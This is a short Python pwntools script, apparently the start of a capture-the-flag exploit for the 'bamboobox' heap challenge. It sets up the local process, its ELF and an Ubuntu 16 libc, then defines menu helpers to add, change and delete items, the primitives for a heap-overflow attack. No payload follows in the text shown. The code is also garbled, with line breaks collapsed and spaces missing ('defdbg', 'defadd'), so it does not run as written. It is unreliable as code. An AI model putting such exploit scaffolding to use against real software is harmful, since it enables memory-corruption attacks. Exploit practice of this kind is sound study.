from pwn import * context(log_level='debug',arch='amd64',os='linux')
p = process("bamboobox") elf= ELF('./bamboobox') libc=ELF("ubuntu16_x64.so")
defdbg(): gdb.attach(p) pause()
defadd(size,payload): p.recvuntil(b"Your choice:") p.sendline(b'2') p.recvuntil(b'Please enter the length of item name:') p.sendline(str(size)) p.recvuntil(b"Please enter the name of item:") p.send(payload)
defchange(idx,size,payload): p.recvuntil(b"Your choice:") p.sendline(b'3') p.recvuntil(b'Please enter the index of item:') p.sendline(str(idx)) p.recvuntil(b'Please enter the length of item name:') p.sendline(str(size)) p.recvuntil(b"Please enter the new name of the item:") p.send(payload)
defdele(idx): p.recvuntil(b"Your choice:") p.sendline(b'4') p.recvuntil(b"Please enter the index of item:") p.sendline(str(idx))